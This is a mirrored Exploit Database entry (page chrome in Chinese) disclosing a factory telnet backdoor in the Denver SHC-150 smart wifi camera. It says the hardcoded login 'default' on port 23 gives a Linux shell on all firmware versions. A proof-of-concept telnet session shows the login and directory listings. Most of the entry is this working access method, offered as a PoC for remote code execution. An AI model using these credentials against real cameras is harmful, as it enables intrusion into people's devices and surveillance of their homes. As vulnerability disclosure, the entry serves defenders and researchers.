Denver Smart Wifi Camera SHC-150 – ‘Telnet’ Remote Code Execution (RCE)

• Exploit Database
• 120 阅读

• 作者： Ivan Nikolsky
  日期： 2021-07-28
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50160/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  # Exploit Title: Denver Smart Wifi Camera SHC-150 - &apos;Telnet&apos; Remote Code Execution (RCE) # Date: 27 July 2021 # Exploit Author: Ivan Nikolsky (enty8080) # Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824 # Version: Denver SHC-150 (all firmware versions) # Tested on: Denver SHC-150   Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.   So, backdoor is a factory telnet credential - <code>default</code>. Just open the telnet connection with the camera on port 23 and enter <code>default</code> (yes, on these cameras, telnet service is served on port 23). After this, you&apos;ll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.   PoC: </code><code> enty8080@Ivans-Air ~ % telnet 192.168.2.118 23 Trying 192.168.2.118... Connected to pc192-168-2-118. Escape character is &apos;^]&apos;.   goke login: default $ ls / binhome linuxrcoptruntmp devinit mediaproc sbin usr etclibmntroot sysvar $ pwd /home/default $ exit Connection closed by foreign host. enty8080@Ivans-Air ~ % </code><code>